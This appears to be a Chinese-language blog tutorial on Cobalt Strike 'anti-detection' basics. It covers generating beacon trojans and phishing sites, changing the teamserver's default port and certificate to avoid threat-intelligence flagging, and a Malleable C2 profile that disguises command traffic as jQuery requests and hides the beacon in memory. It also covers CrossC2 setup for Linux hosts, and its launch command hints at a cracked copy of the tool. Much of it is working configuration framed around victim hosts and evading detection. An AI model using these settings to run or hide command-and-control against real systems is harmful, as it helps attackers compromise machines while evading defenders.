免杀之CS基础

一. CS简介

Cobalt Strike 是一款基于java语言开发的渗透测试神器,常被业界人称为CS神器。它被广泛用于模拟 高级持久性威胁(Advanced Persistent Threat,APT)和进行内网渗透。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端 (C/S架构的),服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等

1
2
3
4
5
6
7
./teamserver 192.168.144.128 123456  peofile文件  //Jdk11以上都可以
./cobaltstrike

JDK11:(Ubuntu)
sudo apt update
sudo apt install openjdk-11-jre-headless
java -version

1.1 Cobalt Strike:

1
2
3
4
5
6
7
New Connection 	# 新建连接,支持连接多个服务器端
Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图
VPN Interfaces # 设置VPN接口
Listenrs # 创建监听器
Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,
Beacon命令行,提权脚本等

1.2 View(视图):

1
2
3
4
5
6
7
8
9
10
Applications 	# 显示受害主机的应用信息
Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads # 查看已下载文件
Event Log # 主机上线记录以及团队协作聊天记录
Keystrokes # 查看键盘记录结果
Proxy Pivots # 查看代理模块
Screenshots # 查看所有屏幕截图
Script Console # 加载第三方脚本以增强功能
Targets # 显示所有受害主机
Web Log # 所有Web服务的日志

1.3 Attacks(攻击)

1.3.1 生成后门

1
2
3
4
5
HTML Application # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro # 生成office宏病毒文件
Payload Generator # 生成各种语言版本的payload
Windows Executable # 生成可执行exe木马
Windows Executable(Stageless) # 生成无状态的可执行exe木马

1.3.2 Web Drive-by(钓鱼攻击)

1
2
3
4
5
6
7
8
9
Manage 					# 对开启的web服务进行管理
Clone Site # 克隆网站,可以记录受害者提交的数据
Host File # 提供文件下载,可以选择Mime类型
Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的
web_delivery
Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以
下版本(该方法已过时)
System Profiler # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等

二. 木马上线:

2.1 exe上线 (有阶段 Staged)

2.2 exe上线 (无阶段 Stageless)

两者之间的区别:

Staged(有阶段 artifact.exe):

定义: 在有阶段的执行方式中,Cobalt Strike Payload 分为两个主要阶段,即 StagerStage

Stager(初始执行载荷): 执行的时候会去下载一个(大马)东西(本质:小马拉大马)

定义: Stager是Stage 1,是一个较小的、轻量级的初始执行载荷。

作用: 主要任务是与Cobalt Strike团队服务器建立初始连接,并从服务器下载更大的Payload,也就是Stage 2

Stage (更大、完整的执行载荷): (下载的大马不可控 是无法对其做免杀的)

定义: Stage是Stage 2,是一个更大、更完整的执行载荷。

作用: 一旦Stager与Cobalt Strike团队服务器建立连接,Stager会请求下载Stage。Stage是整个Payload的主体,包含了更多的功能和模块。一旦下载,Stage在目标系统上执行,并与Cobalt Strike服务器保持连接,执行渗透测试人员指定的各种命令和操作。

Stageless(无阶段 beacon.exe ): (可以进行免杀)

定义: 在无阶段的执行方式中,整个 Payload 在一次性的过程中直接执行,而不需要分为两个阶段。(本质就是一个完整的大马)

特点: 由于无阶段的执行方式减少了与团队服务器的交互,因此可能更难被检测。然而,这也限制了 Payload 的大小,因为整个 Payload 需要在一次连接中传输。Stageless 上线是没有web日志的

三. CS的特征修改:

特征 : 人或事物可供识别的特殊的象征或标志。

1
2
3
4
5
服务器默认开放端口 50050
┌──(root㉿kali)-[~/桌面/cobaltstrike_4.4]
└─# cat teamserver| tail -3
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar server.TeamServer $*

cobalt strike也有属于自己的特征 , 比如默认开放的端口号是50050(cs服务端的端口), 自带证书里面有cobalt strike字符等

cs服务器如果默认特征不进行修改的话 , 很容易被搜索引擎或者威胁情报标记成木马远控服务器, 以及进行一些特征的修改就算ip地址暴露了, 也不能直接肯定这个ip是木马远控ip , 提高自身的隐藏性

1
protocol="cobaltstrike"

3.1 如何修改特征

修改特征是针对 cs服务端 进行特征的修改, 客户端不需要修改

牢记 : cs服务器需要的时候再开启, 平常不需要的时候就关闭

3.1.1 修改端口

1
2
vim teamserver
只需要修改昀后一行的 -Dcobaltstrike.server_port , 可以是 80 , 443 , 3389 , 8080, 8443等常见端口 , 前提是该端口没有被使用, 1-65535

3.1.2 修改默认证书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
推荐付费ssl证书
1.购买域名,申请免费的ssl证书
2.修改teamserver证书密码
查看证书:
keytool -list -v -keystore cobaltstrike.store
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
默认口令: Microsoft


# 原ssl证书文件备份
mv cobaltstrike.store cobaltstrike.store.bak
# 生成证书, 注意是一条命令
keytool -keystore cobaltstrike_new.store -storepass 1qazwsx -keypass 1qazwsx -genkey -keyalg RSA -alias qq.com -dname "CN=US, OU=qq.com,O=Software, L=Somewhere,ST=Cyberspace, C=CN"

//cobaltstrike_new.store:新的文件名
//1qazwsx:新的证书密码(Microsoft类似这个)
//qq.com:用到的别名

# ssl证书重命名(teamserver在配置文件中写死了,必须是该文件名才行)
mv cobaltstrike_new.store cobaltstrike.store
# 进入teamserver文件中修改刚才生成的密码
vim teamserver
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=8080 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=1qazwsx -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar -javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542 -Duser.language=en server.TeamServer $*

1
2
3
4
5
6
if [ -e ./cobaltstrike.store ]; then
print_info "Will use existing X509 certificate and keystore (for SSL)"
else
print_info "Generating X509 certificate and keystore (for SSL)"
keytool -keystore ./cobaltstrike.store -storepass Microsoft -keypass Microsoft -genkey -keyalg RSA -alias microsoft.com -dname "CN=*.microsoft.com, OU=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=WA, C=US"
fi

运行即可:

1
2
3
4
root@HWY:~/coablt_strike_4.5_jx# ./teamserver xxx.xx.xx.xx(本机地址) xxxxx(密码)
[*] Will use existing X509 certificate and keystore (for SSL)
[+] Team server is up on 0.0.0.0:xxxx
[*] SHA256 hash of SSL cert is: 9d8ae956df258df5e3a45e6aedeaa8f310a201c6ff2e83fe9d06b719d5f814f8

3.1.2 配置profile文件(伪装CS的流量)

cs中默认是没有 profile文件 的, 需要自己配置, 而且官网称profile文件为 Malleablec2 , 整个profile文件的配置就是进行流量上的伪装,防溯源,免杀, 把命令的下发和结果的回传进行流量伪装 , 让他从流量上 看起来更像是在访问一个正常的网页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
基本语法:
# this is a comment , # 是注释
# 设置全局变量 , 和其他无关是cs自身的一些机制
set global_option "value";
# 协议的配置 , 如: http-get , https-post等
# 代码块
protocol-transaction {
set local_option "value";
client {
# customize client indicators
}
server {
# customize server indicators
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
详细分析:
# Malleable C2 Profile
# Version: CobaltStrike 4.5
# File: jquery-c2.4.5.profile
# Description:
# c2 profile attempting to mimic a jquery.js request
# uses signed certificates
# or self-signed certificates
# Authors: @joevest, @andrewchiles, @001SPARTaN
### Global Option Block

# 设置全局变量 sample_name , 值是当前文件名
set sample_name "demo(文件名)";
# 设置心跳包的时间 , 单位毫秒
set sleeptime "1000"; # 45 Seconds 1000毫秒==1秒
# set sleeptime "<60000>"; # 1 Minute , 默认的
# 设置心跳包时间的波动范围 45 +- 45*37%
set jitter "50"; # % jitter 1 +- 1*50%
# 意味着每次HTTP服务器响应时(cs上监听服务选择的http协议),都会附加一个长度在0到100个字符之间的随机字符串。这样做的目的是为了增加服务器响应的大小的不可预测性,使得Cobalt Strike的通信模式更难以通过网络监控工具被识别和分析。
set data_jitter "100";
# 设置全局的UA头
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/124.0.0.0 Safari/537.36";

https-certificate ssl证书配置:
https-certificate {
set C "US"; #国家
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
set keystore "cobaltstrike.store"; # 证书文件
set password "1qazwsx"; # 证书密码 //密码不正确会报错(前提:监听器使用的是https协议)
}

SMB和TCP , smb会在横向渗透使用到:
### SMB Beacon
set pipename "mojo.5688.8052.183894939787088877##"; # # smb管道的名字
set pipename_stager "mojo.5688.8052.35780273329370473##"; # smb stager管道的名字
set smb_frame_header "\x80";
### TCP Beacon 监听端口
set tcp_port "42585"
set tcp_frame_header "\x80"

DNS beacon , 不经常使用 , 但是对于只有DNS协议出网的设备可以使用:
dns-beacon {
set dns_idle "74.125.196.113"; # # 第一次dns查询的地址
set dns_max_txt "252";# # 昀大查询次数 , 255以下 , 能被4整除
set dns_sleep "0"; # # sleep时间
set dns_ttl "5"; # ttl值
set maxdns "255"; # 昀大dns服务转接数量
set dns_stager_prepend ".resources.123456."; # # 使用dns协议的马,pe头追加的内容
set dns_stager_subhost ".feeds.123456."; # # 子域名的查询配置
# DNS subhosts override options, added in version 4.3
set beacon "a.bc.";
set get_A "b.1a.";
set get_AAAA "c.4a.";
set get_TXT "d.tx.";
set put_metadata "e.md.";
set put_output "f.po.";
set ns_response "zero";

SSH beacons: 配置用于横向移动的SSH伪Beacon。
set ssh_banner "OpenSSH_7.4 Debian (protocol 2.0)"; # SSH连接的banner信息
set ssh_pipename "wkssvc##"; # 定义了用于SSH伪Beacon通信的命名管道的名称前缀,##是一个占位符

http-stager 块是用来自定义HTTP阶段化(staging)过程的配置。阶段化是Cobalt Strike中的一个重要概念,它指的是将第二阶段的有效载荷(即用于后渗透测试的代码)传输到已经受到攻击者控制的主机上的过程。
# 用于指定是否启用通过HTTP、HTTPS或DNS进行阶段化(第二阶段)的有效载荷(payload)托管。
set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by
stagers.set
http-stager {
set uri_x86 "/jquery-3.3.1.slim.min.js";
set uri_x64 "/jquery-3.3.2.slim.min.js"; //weblog中访问的路径(混淆)
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
## The javascript was changed. Double quotes and backslashes were escaped to
properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line

http-config , 不单单是http实际上也是https的全局响应头配置
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}

http-get (无缩进要求) , 命令的下发相当于是teamserver(cs服务端)向受害者发送一个get请求
# 下发命令访问的uri
set uri "/jquery-3.3.1.min.js";
# 请求方法
set verb "GET";
# 客户端配置
client {
# 请求头配置
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
# 元数据配置
metadata {
base64url;
prepend "__cfduid=";
header "Cookie";
}
}
# 服务端配置
server {
# 响应头设置
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
# # 输出信息
output {
mask;
base64url;
## The javascript was changed. Double quotes and backslashes were escaped to
properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
# 响应中html页面头部信息
....
....


http-post 结果的回传相当于受害者向teamserver发送一个post请求(命令下发是GET请求,回传是POST请求)
http-post {
# 请求的地址
set uri "/jquery-3.3.2.min.js";
# 请求的方法
set verb "POST";
# 客户端配置
client {
# 请求头
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
# 参数
id {
mask;
base64url;
parameter "__cfduid";
}
# 输出信息
output {
mask;
base64url;
print;
}
}
# 服务端配置
server {
# 响应头配置
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
# 输出的内容
output {
mask;
base64url;
## The javascript was changed. Double quotes and backslashes were escaped to
properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
stage ( 第二阶段的shellcode ), 用于自定义Beacon(Cobalt Strike的恶意软件组件)在内存中的加载方式和表现形式也就是用来自定义伪装cs自带的那些命令是如何在内存中表现的
stage {
# CS 4.2 added allocator and MZ header overrides
set allocator "VirtualAlloc"; # allocator用于设置Beacon的反射加载器(Reflective Loader)
如何为代理(agent)分配内存 Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc
#set magic_mz_x86 "MZRE";
#set magic_mz_x64 "MZAR";
set magic_pe "NO"; # 不覆盖Beacon的反射加载器使用的PE文件
set userwx "false"; # 不要求beacon在内存中的权限可读可写可执行,如果是rwx的权限比较
可疑
set stomppe "true"; # 要求反射加载器在加载Beacon有效载荷后覆盖MZ(Microsoft
Windows Portable Executable File)头、PE头和e_lfanew值。
set obfuscate "true"; # obfuscate启用对反射DLL的导入表进行混淆,覆盖未使用的头部内容,
并要求反射加载器在没有DLL头的情况下将Beacon复制到新内存中
set cleanup "true"; # cleanup要求Beacon尝试释放与反射DLL包相关联的内存。
# CS 3.12 Addition "Obfuscate and Sleep"
set sleep_mask "true"; # 启用在Beacon(HTTP、SMB、TCP Beacons)在内存中睡眠或等待
新连接/数据之前对其进行混淆的功能
# CS 4.1
set smartinject "true"; # 启用使用嵌入式函数指针提示来引导Beacon代理
set checksum "0"; # 设置Beacon的PE头部中的校验和值。
set compile_time "11 Nov 2016 04:08:32"; # 设置Beacon的PE头部中的编译时间
set entry_point "650688"; # 设置Beacon的PE头部中的入口点值。
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set name "srv.dll";
set rich_header
"\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf
9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x
27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\
xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\
x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00"; # 添加到DLL中的元信息数据。
transform-x86 { # 填充和转换Beacon的反射DLL阶段
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # 前置
strrep "ReflectiveLoader" "execute"; # 字符串替换
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "beacon.dll" ""; # Remove this text
}
transform-x64 { # transform the x64 rDLL stage
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
}
stringw "jQuery"; # stringw用于将字符串"jQuery"添加到DLL中,是为了使DLL看起来更像正常的
JavaScript库文件,从而减少被检测的可能性
}

修改profile文件, 增强opsec的效果

prepend.py是一个 python 脚本,它生成动态垃圾 shellcode,该 shellcode 将附加在实际 shellcode 的开头。要使用该脚本

1
python3 prepend.py

复制输出并将其粘贴到配置文件中(在 transform-x64 或 transform-x86 块内)。配置文件将如下所示:

1
2
3
4
5
6
7
transform-x64 {
...
prepend
"\x44\x40\x4B\x43\x4C\x48\x90\x66\x90\x0F\x1F\x00\x66\x0F\x1F\x04\x00\x0F\x1F\x04\x00\
x0F\x1F\x00\x0F\x1F\x00";
...
}

rich_header.py是一个 python 脚本,它生成动态 shellcode,负责编译器插入的元信息。Rich 标头是一个 PE 部分,用作 Windows 可执行文件生成环境的指纹。要使用该脚本,请执行:

1
python3 rich_header.py

复制输出并将其粘贴到配置文件中。配置文件将如下所示:

1
2
3
4
5
stage {
...
set rich_header "\x2e\x9a\xad\xf1...";
...
}

3.4检查profile文件

测试是否可用

1
2
3
chmod +x c2lint
./c2lint [/path/to/my.profile] # 如 ./c2lint bing_jx.profile
# 进行各种协议 如 smb , http , https的请求模拟 , 判断是否可用 , 请求结束下面会有结果输出 (黄色警告,红色语法错误)

https://github.com/Peithon/JustC2filemalleable-c2-master

四. CS配置Linux上线

下载 CrossC2(只支持https协议)

1.cs默认是不支持上线linux主机的 , 但是可以通过安装CrossC2插件实现

1
https://github.com/gloxec/CrossC2/releases

推荐放到 script目录下(cs目录里),编辑 CrossC2-GithubBot-2023-11-20.cna 文件

1
2
3
4
menubar("CrossC2", "generator", 2);

$CC2_PATH = "D:\\CS_linux\\coablt_strike_4.5_jx\\scripts\\"; # <-------- fix //注意:需要CrossC2的绝对路径(不能有中文,且最后一行需要加上\\)
$CC2_BIN = "\\genCrossC2.Win\\genCrossC2.exe"; //使用windows的客户端的版本路径(相对路径在CC2_PATH的路径下)

菜单栏就会多出一个:

2.复制linux服务端的 .cobaltstrike.beacon_keys 文件放到 cobaltstrike.jar 目录(windows 客户机)下, 覆盖原来的cobaltstrike.beacon_keys

使用cs进行创建监听器(linux是我的监听器名),注意需要使用https协议

第一步:

完成:(注意不要使用 openjdk 我之前用的就生成不了,服务器端也必须要加上profile文件运行,如果上线不了,可以重启一下客户端)


免杀之CS基础
http://example.com/2025/06/06/免杀之CS基础/
作者
XCDH
发布于
2025年6月6日
许可协议